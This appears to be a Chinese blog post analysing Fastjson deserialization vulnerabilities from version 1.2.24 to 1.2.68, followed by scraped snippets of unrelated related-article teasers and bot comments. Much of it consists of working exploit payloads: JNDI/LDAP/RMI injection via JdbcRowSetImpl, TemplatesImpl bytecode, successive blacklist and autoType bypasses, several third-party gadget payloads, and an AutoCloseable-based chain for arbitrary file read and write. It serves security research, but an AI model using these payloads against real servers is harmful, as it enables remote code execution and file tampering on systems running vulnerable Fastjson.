TemplatesImpl,利用条件苛刻,需要开启
Feature.SupportNonPublicField
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "pwn",
"_tfactory": {},
"_outputProperties": {},
JdbcRowSetImpl利用链的JDNI注入,有RMI和LDAP两种利用方式,不过有JDK版本限制,具体见
JNDI
。
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
"@type":"com.sun.rowset.JdbcRowSetImpl",
"databaseMetaData":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
1.2.25
25版本引入了checkAutoType的机制,默认情况下autoTypeSupport关闭,不能直接反序列化任意类,检测方式是
先黑名单检测,后加载白名单中存在的类:
如果autoTypeSupport打开的情况,是
先加载白名单中存在的类,后黑名单检测:
之后,如果autoTypeSupport打开,并且指定了反序列化的类exceptClass,会进入loadClass方法:
跟进这个方法,这里对类名中的一些特殊字符做了处理,然后递归调用loadClass:
所以可以利用这个特性,在autoTypeSupport打开,并且指定反序列化的类exceptClass的情况下,为黑名单中的类加上这些字符,就能绕过黑名单的检测。
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
// another
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"databaseMetaData":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
1.2.42
42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以
L
开头,
;
结尾,则会用stubstring处理一下:
双写即可绕过:
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
1.2.43
针对42版本中的双写绕过,43中解决的方法是套了一个子判断:
随后安全研究人员将目光投入了在
loadClass
中也同样被处理的 '[' 字符:
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
1.2.44
44版本针对43版本的绕过作了处理,如果类名以 [ 开头则会直接抛出异常:
1.2.45
45版本为黑名单绕过:
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
1.2.47
47版本下出现了不开启autoTypeSupport的绕过,绕过方式是第一轮扫描先通过Class类把JdbcRowSetImpl加入mapping缓存,第二轮扫描的时候直接从缓存中获取类,从而绕过的黑名单的检测。
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Exploit",
"autoCommit":true
关于版本:
-
在1.2.25 ~ 32中,未开启autoTypeSupport的情况下可以利用成功,开启之后反而无法利用
-
在1.2.33 ~ 47中,无论是否开启autoTypeSupport都可以利用
关于版本问题的原因还是在checkAutoType方法中,在开启了autoTypeSupport情况下:
对于黑名单的判读逻辑不一样,33版本之后多加了一个条件,就是从缓存的mapping中获取待加载的类,第一轮扫描把JdbcRowSetImpl加入了缓存,对于33版本之后第二轮扫描JdbcRowSetImpl的时候这个条件为true,就绕过的黑名单的检测,而33版本之前由于没有这一个条件,所以会抛出异常。
在没有开启autoTypeSupport的情况下,不会进入到第一个if条件中去,Class类在这个被找到:
之后会提取json文本中的 "var" 的值,然后放到缓存mapping中,第二轮扫描的时候通过
TypeUtils#getClassFromMapping
直接获取到了JdbcRowSetImpl。
1.2.62
需要开启AutoType;需要服务端存在xbean-reflect包;JNDI注入受JDK版本的影响。
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://localhost:1389/Exploit"
1.2.66
Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc 构造 (seebug.org)
黑名单绕过,都需要开启AutoType。
{ "@type": "org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames": [ "ldap://localhost:1389/Exploit" ], "Realms": [ "" ]}
{ "@type": "br.com.anteros.dbcp.AnterosDBCPConfig", "metricRegistry": "ldap://localhost:1389/Exploit"}{ "@type": "br.com.anteros.dbcp.AnterosDBCPConfig", "healthCheckRegistry": "ldap://localhost:1389/Exploit"}
{ "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig", "properties": { "@type": "java.util.Properties", "UserTransaction": "ldap://localhost:1389/Exploit" }}
1.2.67
黑名单绕过,需要开启AutoType。
{ "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames": [ "ldap://localhost:1389/Exploit" ], "tm": { "$ref": "$.tm" }}
{ "@type": "org.apache.shiro.jndi.JndiObjectFactory", "resourceName": "ldap://localhost:1389/Exploit", "instance": { "$ref": "$.instance" }}
1.2.68
48版本把缓存开关默认这只为了false,从而避免了通过加载恶意类到缓存mapping中的绕过方式。
直到68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常:
对于开了safeMode的站基本不用看了✔
此外这个版本提出了一种针对expectClass的绕过,其思路是利用checkAutoType方法的expectClass参数,先传入某个类作为expectClass,再传入另一个expectClass或者其子类来进行绕过(expectClass不在黑名单中):
AutoCloseable(无需AutoType)
根据网上公开的分析文章来看,主要是利用了java.lang.AutoCloseable接口,这个接口内置在Fastjson的白名单中,方便复现,假设服务器存在一个恶意的AutoCloseable实现类:
package v_68;import java.io.IOException;public class A implements AutoCloseable{ public A() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void close() throws Exception { }}
POC如下:
{"@type":"java.lang.AutoCloseable","@type":"v_68.A"}
在第一次checkAutoType方法的检测中,传入的expectClass为null,检验的类为java.lang.AutoCloseable:
如果开启了autoTypeSupport,那么会从TypeUtils中直接加载返回:
如果没有开启autoTypeSupport,会从缓存mapping处获取之后返回(java.lang.AutoCloseable默认在缓存mapping中):
回到parseObject方法中,再往下走,Fastjson根据第一次执行checkAutoType方法返回的class获取相应的deserializer,可以看到AutoCloseable类获取的deserializer为JavaBeanDeserializer:
> 再往后跟代码比较冗长,主要是Fastjson词法分析的过程,捡几个重点说。
首先会从json字符串中匹配AutoCloseable的成员变量,如果匹配不到则继续往后扫描json字符串,提取下一个key:
拿到@type的值之后进入第二遍checkAutoType,此时expectClass正好是java.lang.AutoCloseable:
接上文,成功绕过checkAutoType,之后会默认调用无参构造方法来构建JavaBean。
SafeFileOutputStream
<dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version></dependency>
用到的类是
org.eclipse.core.internal.localstore.SafeFileOutputStream
,在它的构造方法里:
利用这个特点可以实现任意文件读:
{ "@type":"java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath": "C:/Windows/win.ini", "targetPath": "C:/Users/45258/Desktop/IdeaProjects/JavaStudy/fastjson/1.txt"}
Output
<dependency> <groupId>com.esotericsoftware</groupId> <artifactId>kryo</artifactId> <version>4.0.0</version></dependency>
用到的类是
com.esotericsoftware.kryo.io.Output
,这个类的setOutputStream和setBuffer可以控制写入的流和写入的数据;在flush方法中触发了文件内容写入:
在require方法中触发了flush方法,在write相关方法中触发了require方法:
在JDK自带的ObjectOutputStream中有参构造方法中:
setBlockDataMode方法会触发drain方法,drain方法会触发wirte方法:
于是可以把out赋值成Output类的实例,直到触发flush方法。
但是Fastjson有一个特性就是在构建JavaBean的时候默认调用的是无参构造方法,所以想要调用ObjectOutputStream的有参构造方法,就只能靠其子类来调用,这里一个可用的类是SerialOutput,依赖如下:
<dependency> <groupId>com.sleepycat</groupId> <artifactId>je</artifactId> <version>5.0.73</version></dependency>
在这个类唯一的构造方法中调用了其父类(ObjectOutputStream)的有参构造方法,所以一条Gadget就构造完成了:
write:126, SafeFileOutputStream (org.eclipse.core.internal.localstore)write:116, OutputStream (java.io)flush:185, Output (com.esotericsoftware.kryo.io)require:164, Output (com.esotericsoftware.kryo.io)writeBytes:251, Output (com.esotericsoftware.kryo.io)write:219, Output (com.esotericsoftware.kryo.io)drain:1877, ObjectOutputStream$BlockDataOutputStream (java.io)setBlockDataMode:1786, ObjectOutputStream$BlockDataOutputStream (java.io)<init>:247, ObjectOutputStream (java.io)<init>:73, SerialOutput (com.sleepycat.bind.serial)
至于为什么Output类中可控的写入的流选用了SafeFileOutputStream类,原因有以下几点:
-
实现了java.lang.AutoCloseable接口,可以绕过checkAutoType
-
在其构造方法处根据传入的targetPath和tempPath实现了FileOutputStream的初始化
这个Exp利用了Fastjson中的
循环引用
:
{ "stream": { "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "D:/wamp64/www/hacked.txt", "tempPath": "D:/wamp64/www/test.txt" }, "writer": { "@type": "java.lang.AutoCloseable", "@type": "com.esotericsoftware.kryo.io.Output", "buffer": "cHduZWQ=", "outputStream": { "$ref": "$.stream" }, "position": 5 }, "close": { "@type": "java.lang.AutoCloseable", "@type": "com.sleepycat.bind.serial.SerialOutput", "out": { "$ref": "$.writer" } }}
在这里我本来想用JDK原生的java.io.FileOutputStream来代替SafeFileOutputStream,但是却出现了下面的错误:
具体问题研究以及解决:
问题记录 (wolai.com)
Throwable(AutoType开启)
@type指定为java.lang.Throwable的时候获取到的deserializer为ThrowableDeserializer:
在ThrowableDeserializer#deserialze方法中指定了checkAutoType方法的入参expectClass为Throwable.class:
但是这个类没有找到合适的Gadget,先留着以后再说。
fastjson
1.2.25-1.2.41
旧
版本
补丁更新分析
运行一下1.2.24的payload,ParserConfig.checkAutoType方法提示autoType不支持
在DefaultJSONParser.parseObject新调用了checkAutoType
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:
0x00 初识
Fastjson
前段时间分析了一下
Fastjson
的
历史
漏洞,在这里做下
记录
。
为了方便切换
Fastjson
的
版本
,我用idea新建了一个maven项目,在pom.xml中引入
Fastjson
:
<dependencies>
<dependency>
<groupId>com.alibaba</gro...
Fastjson
1.2.24 远程代码执行漏洞
FastJson
库是
Java
的一个Json库,其作用是将
Java
对象转换成json数据来表示,也可以将json数据转换成
Java
对象。在2017年3月15日,
fastjson
官方主动爆出
fastjson
在1.2.24及之前
版本
存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
开启autotype
fastjson
1.2.22-1.2.24
jdk 1.7,1.8
版本
由于Fastj
老项目中使用到多种json类库,没有统一管理。最近开启全新的项目,准备对json类库进行统一,这样不仅能够压缩jar包的大小,也能够避免某个类库的漏洞导致系统问题。
其实,就在前几个月因为
FastJson
的漏洞,已经全面升级过一次
FastJson
的
版本
。现在项目中有用
FastJson
,有用gson,也有用Jackson。虽然用的类库比较多,但使用的场景并不多,还在可控范围之内。
这篇文章重点讲讲对
FastJson
的一些调研,虽然最终决定强制在项目中禁用
FastJson
,但在放弃之前,还是要学习一下这个类库的
fastjson
大家一定都不陌生,这是阿里巴巴的开源一个JSON解析库,通常被用于将
Java
Bean和JSON 字符串之间进行转换。
前段时间,
fastjson
被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。
但是作为一个开发者,我更关注的是他为什么会频繁被爆漏洞?于是我带着疑惑,去看了下
fastjson
的releaseNote以及部分源代码。
最终发现,这其实和
fastjson
中的一个AutoType特性有关。
从2019年7月份发布的v1.2.59一直到2020年6月份发布的
根据提供的引用内容,
FASTJSON
2.0是
FASTJSON
项目的重要升级,目前是最新
版本
。它支持JSON/JSONB两种协议,JSONPath是一等公民,支持全量解析和部分解析,支持
Java
服务端、客户端Android、大数据场景。如果你想使用
FASTJSON
2.0,你可以在Maven中央仓库中找到它的最新
版本
。以下是
FASTJSON
2.0的Maven依赖:
```xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>
fastjson
</artifactId>
<version>2.0.0</version>
</dependency>
CSDN-Ada助手:
使用 Lua 创建测试数据
CSDN-Ada助手:
API安全学习手册:Restful API
CSDN-Ada助手: